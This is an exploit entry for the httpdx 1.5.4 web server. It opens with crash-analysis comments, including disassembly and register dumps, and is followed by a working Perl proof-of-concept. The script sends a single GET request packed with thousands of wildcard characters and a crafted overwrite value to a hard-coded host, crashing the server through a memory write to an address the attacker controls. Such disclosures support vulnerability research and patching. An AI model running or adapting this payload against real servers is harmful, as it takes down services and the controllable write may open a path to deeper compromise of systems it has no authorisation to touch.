httpdx 1.5.4 – HTTP Server Remote Denial of Service
#!/usr/bin/perl -w #====================================================================== # Exploit Title: httpdx v1.5.4 Remote HTTP Server DoS (using wildcards) # Date: 18 July 2012 # Exploit Author: st3n [at sign] funoverip [dot] net # Vendor Homepage: http://httpdx.sourceforge.net # Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download # Version: 1.5.4 # Tested on: WinXP SP3 #====================================================================== # Additional notes: # - One request is enough # - On crash: Access violation when writing to [41414141] # - The value x01 is written to [EDI] at the following instruction # MOV BYTE PTR DS:[EDI],AL # # In msvcrt.dll # ------------- # # 77C470D0 8A06 MOV AL,BYTE PTR DS:[ESI] # 77C470D2 8807 MOV BYTE PTR DS:[EDI],AL <===== HERE # 77C470D4 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] # 77C470D7 5E POP ESI # 77C470D8 5F POP EDI # 77C470D9 C9 LEAVE # 77C470DA C3 RETN # # Registers # ------------- # # EAX 41414101 # ECX FFFFFFFD # EDX 00000003 # EBX 00423001 ASCII "&>" # ESP 01058B9C # EBP 01058BA4 # ESI 003EA2E0 # EDI 41414141 <============= HERE # EIP 77C470D2 msvcrt.77C470D2 # # Crash output : # -------------- # httpdx 1.5.4 - Started # # [http/ftp]://192.168.0.10/ # # ffs wtf happened? # #====================================================================== #====================================================================== # PoC code #====================================================================== use strict; use IO::Socket::INET; my $host = "192.168.0.10"; my $sock = IO::Socket::INET->new("$host:80"); # EDI addr my $EDI = "\x7A" . # = 0x41 + 0x39 "\x32" . # = 0x41 - 0x0F "\x41" . "\x41" ; print $sock "GET /" . "*" x 2450 . "A" x 12 . $EDI . "C" x 528 . " HTTP/1.0\r\n" . "Host: $host" . "\r\n\r\n" ; exit; |